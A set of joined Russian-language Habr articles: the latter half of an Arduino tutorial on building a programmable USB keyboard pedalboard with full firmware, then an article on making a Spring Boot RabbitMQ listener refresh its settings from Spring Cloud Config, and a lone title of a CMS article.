У Keyboard.write() есть несколько простых, но не очевидных новичкам нюансов, исходящих из того, что мы отправляем данные не в сыром виде, а как нажатия клавиш. Во-первых, как ни странно, без дополнительных драйверов компьютер может принимать с клавиатуры только те символы, которые есть на клавиатуре, а значит отправить какой-нибудь 0x03 (сигнал прерывания) или 0x1B (начало ESCAPE-последовательности) у нас не выйдет. Во-вторых, мы можем оправлять заглавные буквы, как они есть в ASCII таблице, но машина при этом получит комбинацию клавиш Shift+<строчная буква>. Проблемой это может стать, если у нас включен CapsLock, и мы будем «неожиданно» получать маленькие буквы вместо больших и наоборот. В-третьих, мы не можем использовать русский язык, как и в общем-то и любой другой. Происходит это опять же происходит из-за такой надоедливой вещи, как **коды клавиш**. Хотя Keyboard.write() в качестве аргумента и принимает, но по USB всё равно отправляется код, соответствующий клавише, на которой он находится в стандартной английской раскладке, и если мы попытаемся отправить кириллицу, то получим неизвестно что. Поэтому, если мы хотим поздороваться с нашими русскоговорящими друзьями через Arduino, то в коде нам надо написать «Ghbdtn», а затем отправить это, предварительно выбрав русскую раскладку. Такое «приветствие» сработает и в украинской раскладке, а вот в болгарской, несмотря на то, что там так же есть кириллица, ничего не выйдет, так как буквы там стоят на совершенно других местах. (Как-то я слышал мнение, что для многих американских и английских разработчиков непостижим тот факт, что кому-то вообще может понадобиться не только использовать несколько раскладок, но ещё и переключать их.)
Итак, у нас есть интерпретатор и примерное понимание того, как наш педалборд взаимодействует с компьютером. Теперь надо всё это довести до состояния полноценной прошивки и проверить работоспособность на одной педали. Если создать экземпляр педали и циклично вызывать pedalAction(), то по идее у нас будет выполняться заданная в структуре программа.
```
struct pedal *pedal1 = {15, 0, 0, 0, 0, 0, "Hello, world!\0", 0};
void prepare () {
pinMode(15, 2); //2 - INPUT_PULLUP, то есть вход с подтяжкой к питанию
Keyboard.begin();
}
void loop() {
pedalAction();
}
```
Кстати, никогда не забывайте про нуль-терминаторы в данных «программах», если их длина меньше размера массива и если они не цикличны, потому что Arduino будет не только пытаться интерпретировать не заданные данные, но и будет отправлять их в машину с огромной скоростью, а это всё равно, что дать клавиатуру обезьяне.
### Одна педаль хорошо, а две — лучше
Теперь пришло время разобраться с обработкой сигналов с нескольких педалей, а также добавить переключение режимов. В начале статьи было выделено 4 порта под педали, каждой из которых надо позволить работать в семи режимах. Почему 7? Потому что без использования ШИМ наш светодиод может давать всего 7 цветов, и восьмой — выключенный. Такого количества вполне хватит обычному пользователю, ну а в крайнем случае его легко можно увеличить. Значит педали будем хранить двумерном в массиве 7 х 4. Чтобы не засорять память, общие для нескольких структур значения, такие, как номер порта можно вынести в отдельные массивы. В итоге мы получаем что-то такое:
```
struct pedal {
unsigned char type;
unsigned char act1[16];
unsigned char act2[16];
};
struct pedal pedals[7][4] = {
{
{ 255, {"Hello, world!\0"}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
},
{
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
},
{
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
},
{
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
},
{
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
},
{
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
},
{
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
}
};
char ports[4] = {15, 16, 14, 8};
char pos1[4] = {0, 0, 0, 0};
char pos2[4] = {0, 0, 0, 0};
char state[4] = {0, 0, 0, 0};
char oldState[4] = {0, 0, 0, 0};
char mode = 0; //текущий режим
char curPedal = 0; //текущая обрабатываемая педаль
```
**Магия числа 255**
Вы наверное заметили, что в статье уж больно часто фигурирует число 255, там, где логичнее было бы ставить 0. Забегая вперёд, скажу, что это нужно для удобства сохранения педалей в EEPROM, так как с завода каждая её ячейка содержит не 0, а как раз таки 255, а значит это число будет намного удобнее использовать для обозначения не заданных переменных, чем 0, чтобы каждый раз не перезаписывать память.
Для нас важно знать только тип педали и две программы, поэтому только их мы оставим непосредственно в структуре, остальными же вещами пусть занимается автоматика. Методы prepare и loop теперь будет выглядеть следующим образом:
```
void prepare(){
pinMode(2, 1);
pinMode(3, 1);
pinMode(4, 1);
pinMode(6, 2);
for (int i : ports)
pinMode(i, 2);
Keyboard.begin();
}
void loop() {
for (int i = 0; i < 6; i++) {
int current;
if ((current = digitalRead(modeButton)) != last) {
if (!current) {
if (++mode >= 7)
mode = 0;
while (pedals[mode][0].type == 255 && pedals[mode][1].type == 255 && pedals[mode][2].type == 255 && pedals[mode][3].type == 255)
if (++mode >= 7) {
mode = 0;
break;
}
}
last = current;
digitalWrite(2, (mode + 1) & 0b001);
digitalWrite(3, (mode + 1) & 0b010);
digitalWrite(4, (mode + 1) & 0b100);
for (int i = 0; i < 4; i++) {
pos1[i] = 0;
pos2[i] = 0;
state[i] = 0;
oldState[i] = 0;
}
delay(50);
}
curPedal = i;
pedalAction
}
}
}
```
Контроллер буде считать режим неиспользуемым, если в нём не объявлено ни одной педали (mode=255), а значит при попадании на него сразу перейдёт к следующему, но при этом первый режим всегда будет существовать. При переключении режима все значения в массивах зануляются, так как сохранять их для каждого режима нам не требуется (верно?), а затем цикл обходит все педали и вызывает pedalAction для них.
Также в начале метода pedalAction() нужно добавить следующую строчку, чтобы он понимал, с какой из структур надо иметь дело:
```
struct pedal *pedal1 = &pedals[mode][curPedal];
```
Уже существующую структуру pedal1 можно удалить за ненадобностью.
Всё это так же вполне работает, однако я столкнулся с одной проблемой: некоторые программы не успевают принимать нажатия с такой скоростью, с которой их отправляет Arduino. Самое очевидное решение — добавить возможность устанавливать задержки между действиями там, где это необходимо. Вот только когда мы садимся писать программы под микроконтроллеры, все фишки, вроде аппаратной многопоточности, остались где-то там, в высокоуровневых ЭВМ, у нас же при добавлении задержки останавливается вся программа, пока контроллер не отсчитает нужное количество циклов. Раз многопоточности у нас нет, то придётся её создать.
### Тяжело сказать, да легко сделать
Я не стал изобретать велосипед, а взял готовую библиотеку ArduinoThread. [Здесь](https://soltau.ru/index.php/arduino/item/373-kak-vypolnyat-parallelnye-zadachi-threads-v-programme-dlya-arduino) можно немного почитать о том как она работает и скачать её. Загрузить библиотеку можно и из самой Arduino IDE. Кратко говоря, она позволяет периодически выполнять функцию с определённым интервалом, при этом не позволяя уйти в бесконечный цикл в случае, если выполнение займёт больше времени, чем интервал. То, что нужно. Создадим ещё один массив с потоками для каждой педали:
```
Thread pedalThreads[6] = {Thread(pedalAction, 10), Thread(pedalAction, 10), Thread(pedalAction, 10), Thread(pedalAction, 10), Thread(pedalAction, 10), Thread(pedalAction, 10)};
```
Теперь у нас есть 6 одинаковых виртуальных потоков, но при этом являющихся разными объектами.
Немного перепишем цикл обхода педалей для работы с новым функционалом:
```
...
for (int i = 0; i < 4; i++) {
if (pedalThreads[i].shouldRun()) {
curPedal = i;
pedalThreads[i].run();
}
}
...
```
Теперь значение 252 в массиве программы, которое соответствует «ничегонеделанию», будет давать задержку в 10 миллисекунд (хотя на самом деле чуть больше, так как выполнение кода тоже занимает время). Добавив несколько строк в интерпретатор, получится сделать возможным установку задержки в несколько таких «квантов», потратив всего 2 байта массива:
```
...
if (wait[num]) {
wait[num]--;
return;
} else if (prg[*pos] == 250) {
wait[num] = prg[++*pos];
}
...
```
В отличии от остальных команд, данную инструкцию необходимо добавить именно в начало интерпретатора, то есть сразу после «while (1) {», так как задержка должна обрабатываться до того, как интерпретатор перейдёт к чтению программы. Массив wait нужно так же объявить, как это было сделано с ports, state и т.д. и так же обнулять его ячейки при переключении режима, чтобы задержка не перешла в другую программу.
Теперь, при возможности установки задержки до 2.55 секунд проблем с определением клавиш программами возникать не должно.
### Программирование «на ходу»
В принципе, тут можно было бы закончить с кодом и приступить к сборке устройства, но в этом случае, если кто-то вдруг захочет перепрограммировать педали, то ему придётся открывать Arduino IDE, править код, и заново загружать прошивку. Естественно, такой вариант не самый лучший, поэтому я решил добавить возможность менять программу с последовательного порта Arduino, а сами программы хранить в EEPROM. Для работы с энергонезависимой памятью необходимо подключить стандартную библиотеку EEPROM.h. Код режима программирования выглядит следующим образом:
```
...
if (!digitalRead(modeButton)) {
//Режим программирования
Serial.begin(9600);
while (!Serial) {
PORTD = 0b00000000 + (PORTD & 0b11101100);
delay(250);
PORTD = 0b00010000 + (PORTD & 0b11101100);
delay(250);
}
Serial.println(F("***Programming mode***"));
Serial.println(F("Write the command as "));
Serial.println(F("m - number of mode, one digit"));
Serial.println(F("p - number of pedal, one digit"));
Serial.println(F("c - command, it can be:"));
Serial.println(F("\tr - read pedal info"));
Serial.println(F("\tw - enter to writing mode and change pedal programm"));
Serial.println(F("\te - erase pedal programm and delete it"));
Serial.println(F("There are up to 7 modes and 6 pedals per mode can be configured"));
Serial.println(F("Mode will be incative if there is no pedal configured in it"));
while (1) {
while (Serial.available()) {
Serial.read();
delay(1);
}
PORTD = 0b00000001 + (PORTD & 0b11101100);
Serial.println("");
Serial.println(F("Enter command"));
while (!Serial.available());
PORTD = 0b00000010 + (PORTD & 0b11101100);
delay(3);
if (Serial.available() == 3) {
int curMode = Serial.read() - 48;
int curPedal = Serial.read() - 48;
char cmd = Serial.read();
if (curMode > 6 || curMode < 0) {
Serial.print(F("Mode must be in 0-6. You entered "));
Serial.println(curMode);
continue;
}
if (curPedal > 3 || curPedal < 0) {
Serial.print(F("Pedal must be in 0-3. You entered "));
Serial.println(curPedal);
continue;
}
Serial.println();
if (cmd == 'r') {
int beginAddress = sizeof(struct pedal) \* (curMode \* 6 + curPedal);
Serial.print("type: ");
int curAddress = beginAddress;
Serial.println(EEPROM[curAddress++]);
Serial.print("act1: ");
for (int i = curAddress ; i < curAddress + (sizeof(struct pedal) - 1) / 2; i++) {
Serial.print(EEPROM[i]);
Serial.print("\t");
}
Serial.println();
curAddress = beginAddress + 1 + (sizeof(struct pedal) - 1) / 2;
Serial.print("act2: ");
for (int i = curAddress ; i < curAddress + (sizeof(struct pedal) - 1) / 2; i++) {
Serial.print(EEPROM[i]);
Serial.print("\t");
}
Serial.println();
} else if (cmd == 'w') {
Serial.println(F("Enter type:"));
PORTD = 0b00000001 + (PORTD & 0b11101100);
while (!Serial.available());
int beginAddress = sizeof(struct pedal) \* (curMode \* 6 + curPedal);
int curAddress = beginAddress;
PORTD = 0b00000010 + (PORTD & 0b11101100);
EEPROM[curAddress++] = (char)Serial.parseInt();
PORTD = 0b00000001 + (PORTD & 0b11101100);
Serial.println(F("Enter act1 in DEC divided by space:"));
while (Serial.available()) {
Serial.read();
delay(1);
}
while (!Serial.available());
PORTD = 0b00000010 + (PORTD & 0b11101100);
while (Serial.available()) {
EEPROM[curAddress++] = (char)Serial.parseInt();
delay(1);
}
PORTD = 0b00000001 + (PORTD & 0b11101100);
curAddress = beginAddress + 1 + (sizeof(struct pedal) - 1) / 2;
Serial.println(F("Enter act2 in DEC divided by space:"));
while (Serial.available()) {
Serial.read();
delay(1);
}
while (!Serial.available());
PORTD = 0b00000010 + (PORTD & 0b11101100);
while (Serial.available()) {
EEPROM[curAddress++] = (char)Serial.parseInt();
delay(1);
}
PORTD = 0b00000001 + (PORTD & 0b11101100);
Serial.println(F("Finished, don't forget to verify written data!"));
} else if (cmd == 'e') {
int beginAddress = sizeof(struct pedal) \* (curMode \* 6 + curPedal);
Serial.println(F("Disabling pedal..."));
PORTD = 0b00000010 + (PORTD & 0b11101100);
EEPROM[beginAddress] = 255;
PORTD = 0b00000001 + (PORTD & 0b11101100);
Serial.println(F("Pedal disabled"));
}
} else {
Serial.println(F("Incorrect command, please read help above"));
}
};
}
...
```
Что делает этот код поясняет содержащаяся в нём справка: через пробел вводится номер режима, номер педали, и команда, которых существует 3 — чтение, запись и ~~выполнение~~ удаление программы. Все данные о педалях хранятся друг за другом в виде последовательности из 33-х байт, то есть тип педали, и две программы, и того мы занимаем 7\*4\*33=924 из 1024 байт EEPROM. Вариант использования динамического размера педалей в памяти я отбросил, так как в этом случае при перепрограммировании одной педали придётся перезаписать почти все ячейки, а циклов перезаписи эта память имеет конечное количество, поэтому рекомендуют делать это как можно реже.
**Особенности работы с EEPROM**
Ещё хотелось бы обратить внимание на строки вида:
```
PORTD = 0b00000010 + (PORTD & 0b11101100);
...
PORTD = 0b00000001 + (PORTD & 0b11101100);
```
Благодаря данной библиотеке, с точки зрения программиста, энергонезависимая память является обычным массивом char, но, как «ардуинщикам», нам нужно понимать, что запись в ПЗУ — очень тяжёлая операция, которая занимает у контроллера целых ~3 секунды, и желательно не прерывать этот процесс. Данная конструкция заставляет диод светить красным во время таких операций, а затем возвращает обратно «безопасный» зелёный цвет.
В режиме записи программы ввод производится непосредственно значениями байтов в десятичной системе счисления через пробел. Получается довольно сурово, но зато не приходится писать сложный парсер. Тем более, перепрограммирование происходит не так часто, и в этих случаях вполне можно заглянуть в ASCII таблицу.
С сохранением структур разобрались, теперь надо наши данные как-то оттуда вытащить и преобразовать к «педальному» виду:
```
...
for (int i = 0; i < 7; i++) {
for (int j = 0; j < 4; j++) {
struct pedal *p = &pedals[i][j];
int beginAddress = sizeof(struct pedal) * (i * 6 + j);
int curAddress = beginAddress;
unsigned char type = EEPROM[curAddress++];
if (type == 0 || type == 1) {
p->type = type;
for (int k = 0 ; k < 16; k++) {
p->act1[k] = EEPROM[curAddress++];
}
for (int k = 0 ; k < 16; k++) {
p->act2[k] = EEPROM[curAddress++];
}
}
}
}
...
```
Здесь так же не происходит ничего сверхъестественного: контроллер считывает данные из памяти и заполняет ими уже существующие структуры.
Преимущество программирования через UART заключается в том, что нам опять же не требуется никаких специальных драйверов, поэтому задавать поведение манипулятора можно даже с телефона.
Демонстрация
------------
Полный исходный код
-------------------
**Он вот тут**
```
#include
#include
#include
#define modeButton 6
struct pedal {
unsigned char type; //0 — режим реального времени, 1 — режим триггера, 255 — педаль не назначена
unsigned char act1[16];
unsigned char act2[16];
};
struct pedal pedals[7][4] = {
{
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
}, {
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
}, {
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
}, {
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
}, {
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
}, {
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
}, {
{ 255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}, {255, {255}, {255}}
}
};
char ports[4] = {8, 16, 15, 14};
char pos1[4] = {0, 0, 0, 0};
char pos2[4] = {0, 0, 0, 0};
char state[4] = {0, 0, 0, 0};
char oldState[4] = {0, 0, 0, 0};
char wait[4] = {0, 0, 0, 0};
void pedalAction();
char mode = 0;
char curPedal;
Thread pedalThreads[6] = {Thread(pedalAction, 10), Thread(pedalAction, 10), Thread(pedalAction, 10), Thread(pedalAction, 10), Thread(pedalAction, 10), Thread(pedalAction, 10)};
void setup() {
pinMode(2, 1);
pinMode(3, 1);
pinMode(4, 1);
pinMode(modeButton, 2);
if (!digitalRead(modeButton)) {
//Режим программирования
Serial.begin(9600);
while (!Serial) {
PORTD = 0b00000000 + (PORTD & 0b11101100);
delay(250);
PORTD = 0b00010000 + (PORTD & 0b11101100);
delay(250);
}
Serial.println(F("\*\*\*Programming mode\*\*\*"));
Serial.println(F("Write the command as "));
Serial.println(F("m - number of mode, one digit"));
Serial.println(F("p - number of pedal, one digit"));
Serial.println(F("c - command, it can be:"));
Serial.println(F("\tr - read pedal info"));
Serial.println(F("\tw - enter to writing mode and change pedal programm"));
Serial.println(F("\te - erase pedal programm and delete it"));
Serial.println(F("There are up to 7 modes and 6 pedals per mode can be configured"));
Serial.println(F("Mode will be incative if there is no pedal configured in it"));
while (1) {
while (Serial.available()) {
Serial.read();
delay(1);
}
PORTD = 0b00000001 + (PORTD & 0b11101100);
Serial.println("");
Serial.println(F("Enter command"));
while (!Serial.available());
PORTD = 0b00000010 + (PORTD & 0b11101100);
delay(3);
if (Serial.available() == 3) {
int curMode = Serial.read() - 48;
int curPedal = Serial.read() - 48;
char cmd = Serial.read();
if (curMode > 6 || curMode < 0) {
Serial.print(F("Mode must be in 0-6. You entered "));
Serial.println(curMode);
continue;
}
if (curPedal > 3 || curPedal < 0) {
Serial.print(F("Pedal must be in 0-3. You entered "));
Serial.println(curPedal);
continue;
}
Serial.println();
if (cmd == 'r') {
int beginAddress = sizeof(struct pedal) \* (curMode \* 6 + curPedal);
Serial.print("type: ");
int curAddress = beginAddress;
Serial.println(EEPROM[curAddress++]);
Serial.print("act1: ");
for (int i = curAddress ; i < curAddress + (sizeof(struct pedal) - 1) / 2; i++) {
Serial.print(EEPROM[i]);
Serial.print("\t");
}
Serial.println();
curAddress = beginAddress + 1 + (sizeof(struct pedal) - 1) / 2;
Serial.print("act2: ");
for (int i = curAddress ; i < curAddress + (sizeof(struct pedal) - 1) / 2; i++) {
Serial.print(EEPROM[i]);
Serial.print("\t");
}
Serial.println();
} else if (cmd == 'w') {
Serial.println(F("Enter type:"));
PORTD = 0b00000001 + (PORTD & 0b11101100);
while (!Serial.available());
int beginAddress = sizeof(struct pedal) \* (curMode \* 6 + curPedal);
int curAddress = beginAddress;
PORTD = 0b00000010 + (PORTD & 0b11101100);
EEPROM[curAddress++] = (char)Serial.parseInt();
PORTD = 0b00000001 + (PORTD & 0b11101100);
Serial.println(F("Enter act1 in DEC divided by space:"));
while (Serial.available()) {
Serial.read();
delay(1);
}
while (!Serial.available());
PORTD = 0b00000010 + (PORTD & 0b11101100);
while (Serial.available()) {
EEPROM[curAddress++] = (char)Serial.parseInt();
delay(1);
}
PORTD = 0b00000001 + (PORTD & 0b11101100);
curAddress = beginAddress + 1 + (sizeof(struct pedal) - 1) / 2;
Serial.println(F("Enter act2 in DEC divided by space:"));
while (Serial.available()) {
Serial.read();
delay(1);
}
while (!Serial.available());
PORTD = 0b00000010 + (PORTD & 0b11101100);
while (Serial.available()) {
EEPROM[curAddress++] = (char)Serial.parseInt();
delay(1);
}
PORTD = 0b00000001 + (PORTD & 0b11101100);
Serial.println(F("Finished, don't forget to verify written data!"));
} else if (cmd == 'e') {
int beginAddress = sizeof(struct pedal) \* (curMode \* 6 + curPedal);
Serial.println(F("Disabling pedal..."));
PORTD = 0b00000010 + (PORTD & 0b11101100);
EEPROM[beginAddress] = 255;
PORTD = 0b00000001 + (PORTD & 0b11101100);
Serial.println(F("Pedal disabled"));
}
} else {
Serial.println(F("Incorrect command, please read help above"));
}
};
}
for (int i : ports)
pinMode(i, 2);
pinMode(17, 1);
for (int i = 0; i < 7; i++) {
for (int j = 0; j < 4; j++) {
struct pedal \*p = &pedals[i][j];
int beginAddress = sizeof(struct pedal) \* (i \* 6 + j);
int curAddress = beginAddress;
unsigned char type = EEPROM[curAddress++];
if (type == 0 || type == 1) {
p->type = type;
for (int k = 0 ; k < 16; k++) {
p->act1[k] = EEPROM[curAddress++];
}
for (int k = 0 ; k < 16; k++) {
p->act2[k] = EEPROM[curAddress++];
}
}
}
}
Keyboard.begin();
}
int last = 0;
void loop() {
int current;
if ((current = digitalRead(modeButton)) != last) {
if (!current) {
if (++mode >= 7)
mode = 0;
while (pedals[mode][0].type == 255 && pedals[mode][1].type == 255 && pedals[mode][2].type == 255 && pedals[mode][3].type == 255)
if (++mode >= 7) {
mode = 0;
break;
}
}
last = current;
digitalWrite(2, (mode + 1) & 0b001);
digitalWrite(3, (mode + 1) & 0b010);
digitalWrite(4, (mode + 1) & 0b100);
for (int i = 0; i < 4; i++) {
pos1[i] = 0;
pos2[i] = 0;
state[i] = 0;
oldState[i] = 0;
wait[i] = 0;
}
delay(50);
}
for (int i = 0; i < 4; i++) {
if (pedalThreads[i].shouldRun()) {
curPedal = i;
pedalThreads[i].run();
}
}
}
void pedalAction() {
struct pedal \*pedal1 = &pedals[mode][curPedal];
if (pedal1->type == 255)
return;
unsigned char \*prg;
char \*pos;
if (pedal1->type) {
int current;
if ((current = digitalRead(ports[curPedal])) != oldState[curPedal]) {
if (!current)
state[curPedal] = !state[curPedal];
oldState[curPedal] = current;
}
if (!state[curPedal]) {
//act1
pos2[curPedal] = 0;
pos = &(pos1[curPedal]);
prg = pedal1->act1;
} else {
//act2
pos1[curPedal] = 0;
pos = &(pos2[curPedal]);
prg = pedal1->act2;
}
} else {
if (!digitalRead(ports[curPedal])) {
//act1
pos2[curPedal] = 0;
pos = &(pos1[curPedal]);
prg = pedal1->act1;
} else {
//act2
pos1[curPedal] = 0;
pos = &(pos2[curPedal]);
prg = pedal1->act2;
}
}
while (1) {
if (wait[curPedal]) {
wait[curPedal]--;
return;
} else if (prg[\*pos] == 250) {
wait[curPedal] = prg[++\*pos];
} else if (prg[\*pos] == 254) {
//Удерживать клавишу, следующую за \*pos
Keyboard.press(prg[++\*pos]);
} else if (prg[\*pos] == 253) {
//Отпустить клавишу, следующую за \*pos
Keyboard.release(prg[++\*pos]);
} else if (prg[\*pos] == 252) {
delay(10);
//"Пропуск хода", ничего не делать
++\*pos;
return;
} else if (prg[\*pos] == 251) {
//Переместиться в программе на позицию в ячейке \*pos+1
\*pos = prg[\*pos + 1];
return;
} else if (prg[\*pos] == 255 || prg[\*pos] == 0) {
//Конец программы, просто заглушка
return;
} else {
//Отправляем нажатие клавиши
Keyboard.write(prg[\*pos]);
}
//Циклически переходим на ячейку вперёд после тех команд, после которых это необходимо
if (++\*pos >= 16)
pos = 0;
}
}
```
Послесловие
-----------
Хотя изначально я и делал педалборд для возможности проматывания записи во время игры на гитаре, однако лично мне показалось удобным испольщование педалей и в обычных задачах, главное немного привыкнуть к такому необычному манипулятору. А вот тут кроется ещё одна проблема: уже без любимых педалей работать становится наоборот сложнее, так как приходится вспоминать, что, куда и для чего нажимать. Если в офис педали ещё можно носить и подключать, то в институте бегать с ними по кабинетам уже сложнее. Так что использовать этот девайс для чего-то, кроме его изначального предназначения стоит на свой страх и риск.
Собраный педалборд:
 | https://habr.com/ru/post/462263/ | null | ru | null |
# Как обновить необновляемое: кастомная замена для @RabbitListener
У вас есть приложение Spring Boot, которое динамически подгружает собственную конфигурацию из Spring Cloud Config Server, то есть является его клиентом. Разумеется, вы хотите, чтобы при изменениях хранимой на сервере конфигурации клиент мог применить новые настройки без перезапуска. Эта тема описана во многих источниках в Интернет, но есть один тонкий момент, который встречается не очень часто, но тем не менее, некоторые заказчики выдвигают одно специфическое требование, которого нельзя достигнуть ни одним стандартным описанным способом, во всяком случае - ничего подобного в явном виде я в сети не нашел. Эта ситуация связана с использованием в клиенте очередей RabbitMQ.
Итак, один заказчик потребовал при разработке приложения, чтобы клиент мог динамически обновить не только те параметры приложения, которые чаще всего меняют, но и такую специфическую настройку, как настройки используемых очередей RabbitMQ. Оказалось, что это не так уж и просто, стандартные способы для этого не подходят. Давайте рассмотрим эту ситуацию и решим ее.
Мы не будем углубляться в то, как настроен сам Spring Cloud Config Server - об этом написано много, есть варианты разных способов предоставления настроек на сервере и на клиенте, чтобы забирать и применять конфигурацию. Остановимся на настройках самого клиента на одном конкретном примере. Пример такой:
На клиенте мы имеем стандартный файл bootstrap.yml с примерно такими настройками:
```
spring:
application:
name: pyramid
config:
import: optional:configserver:http://localhost:8800
profiles:
active: local
cloud:
config:
fail-fast: true
enabled: true
username: configserver
password: configserver
```
Таким образом, у нас реализована подгрузка конфигурации из сервера конфигураций. Далее, чтобы параметры из подгруженной конфигурации динамически менялись в приложении без перезапуска, нам необходимо поставить аннотацию `@RefreshScope` на классы, которые используют динамические параметры, например, вот так:
```
@RefreshScope
@Service
public class Service {
@Value("${rabbitmq.exchange}")
private String defaultExchange;
...
```
Но это не сработает для конфигурационных классов с аннотацией `@Configuration`, в таком случае мы должны поставить аннотацию `@RefreshScope` не только на сам класс, но и на каждый бин, который использует динамические параметры, например, вот так:
```
@Configuration
@RefreshScope
public class RabbitConfig {
@Value("${rabbitmq.exchange}")
private String defaultExchange;
...............................
@Bean(SUCCESS_COMMAND_RABBIT_TEMPLATE)
@RefreshScope
public RabbitTemplate rabbitTemplateSuccessCommand() {
RabbitTemplate rabbitTemplate = new RabbitTemplate(connectionFactory());
rabbitTemplate.setDefaultReceiveQueue(successCommandQueue);
rabbitTemplate.setExchange(defaultExchange);
rabbitTemplate.setRoutingKey(successCommandRoutingKey);
return rabbitTemplate;
}
.........
}
```
Однако, что будет, если у нас есть специальный класс, который содержит listener из пакета spring-boot-starter-amqp, и заказчик желает, чтобы этот слушатель мог динамически обновлять свои настройки? Например, вот такой:
```
@Configuration
@RefreshScope
public class RabbitMeterListener {
......
@RabbitListener(id = "pyramidCommandListener", bindings = @QueueBinding(
value = @Queue(value = "${rabbitmq.commands.queue}"),
exchange = @Exchange(value = "${rabbitmq.MetersUuids.exchange}"),
key = "${rabbitmq.MetersUuids.routingKey}"
))
public void listenPyramidCommands(String in) throws JsonProcessingException {
.....
какой-то функционал в ответ на событие listener-a
.....
}
}
```
Мы обнаружим следующий неприятный момент - listener не может обновить собственные параметры динамически, даже если в аннотацию подставлены ссылки на динамические параметры и сам класс имеет аннотацию `@RefreshScope` - потому что метод с аннотацией `@RabbitLister` не является бином в обычном понимании этого термина. То есть, если почитать литературу и покопаться в недрах Spring, то мы отыщем, что где-то глубоко внутри все-таки используются именно бины, но сам метод с такой аннотацией не поддерживает ожидаемого функционала, если и на него тоже попытаться подвесить `@RefreshScope` - это не сработает!
И как же нам быть, если заказчик требует, что у нас был именно слушатель очереди, и чтобы его параметры обновлялись динамически? Решение проблемы существует, и оно заключается в отказе от использования стандартной аннотации `@RabbitListener` и в создании собственного кастомного слушателя, который мог бы удовлетворить нашим требованиям. Как это сделать?
Прежде всего, мы непосредственно реализуем примерно вот такой метод контейнера слушателей в том же классе RabbitMeterListener вместо аннотированного `@RabbitListener` метода:
```
@Value("${rabbitmq.commands.queue}")
private String metersUuidsQueue;
......
@Bean
@RefreshScope
public SimpleMessageListenerContainer simpleMessageListenerContainer(ConnectionFactory connectionFactory) {
SimpleMessageListenerContainer simpleMessageListenerContainer = new SimpleMessageListenerContainer(connectionFactory);
simpleMessageListenerContainer.addQueues(new Queue(metersUuidsQueue));
simpleMessageListenerContainer.setMessageListener(this::pyramidCommandListener);
simpleMessageListenerContainer.start();
return simpleMessageListenerContainer;
}
```
Этот метод уже является обычным бином, поэтому использованные внутри него динамические параметры уже будут подменяться при обновлении их на сервере, `@RefreshScope` сделает это для нас.
Далее мне понадобился промежуточный метод-адаптер, потому что мой функционал изначально был помещен внутри метода с сигнатурой `public void listenPyramidCommands(String in)`, между тем, как в контейнере слушателей требуется, чтобы параметр `this::pyramidCommandListener` имел другую сигнатуру, и их нужно было совместить. Я сделал это вот так:
```
public void pyramidCommandListener(Message message) {
String in = new String(message.getBody());
try {
listenPyramidCommands(in);
} catch (JsonProcessingException e) {
log.error("Ошибка при конвертации в строку входящей команды из очереди {}", metersUuidsQueue);
}
}
```
То есть требуется, чтобы в `this::pyramidCommandListener` параметр был с типом `Message`, соответственно, из него нужно извлечь строку с телом сообщения, получаемого, когда listener срабатывает. У вас может быть совсем другая логика обработки принятого сообщения, поэтому детали могут отличаться, их реализация - на ваше усмотрение.
Кроме того, контейнер слушателей требует прямого указания connectionFactory для RabbitMQ, поэтому фабрику тоже придется реализовать в отдельном бине, например, вот так:
```
@Bean
@RefreshScope
public ConnectionFactory connectionFactory() {
CachingConnectionFactory connectionFactory = new CachingConnectionFactory(host, Integer.parseInt(port));
connectionFactory.setUsername(username);
connectionFactory.setPassword(password);
connectionFactory.setVirtualHost(virtualHost);
return connectionFactory;
}
```
Ну вот, казалось бы, у нас есть все бины, размеченные `@RefreshScope`, которые будут обновляться при подгрузке новой конфигурации. Однако, тут нас ждет еще один "подводный камень". А именно - контейнер слушателей после получения новых динамических параметров конфигурации должен быть перезагружен, потому что сами слушатели, хранящиеся в нем, не воспримут новые параметры! Почему так сделано, зачем, я не стал углубляться в эту проблему, а просто сделал еще один класс, который решает эту задачу:
```
@Component
public class RefreshListener {
private final SimpleMessageListenerContainer simpleMessageListenerContainer;
@Autowired
public RefreshListener(SimpleMessageListenerContainer simpleMessageListenerContainer) {
this.simpleMessageListenerContainer = simpleMessageListenerContainer;
}
// необходимо перезапустить контейнер слушателей после обновления конфигурации
@EventListener
public void onEnvironmentChangeEvent(RefreshScopeRefreshedEvent event) {
simpleMessageListenerContainer.stop();
simpleMessageListenerContainer.start();
}
}
```
Вот теперь действительно все получилось - динамические параметры из конфигурации после ее обновления также подхватываются, и у меня появилась возможность динамически менять настройки слушателя RabbitMQ на клиенте из централизованного сервера конфигураций, как и требовал заказчик, отлажено и проверено, работает на продуктиве. Кейс нечастый, но встречается иногда и вполне может быть кому-то полезен.
На этом все. Хочу порекомендовать вам бесплатный урок по теме: "Хаки для командной работы в git", который уже 9 июня пройдет на платформе OTUS.
* [Узнать подробнее об уроке](https://otus.pw/AqhD/) | https://habr.com/ru/post/670058/ | null | ru | null |
# Архитектура CMS. Модель данных. Часть 3
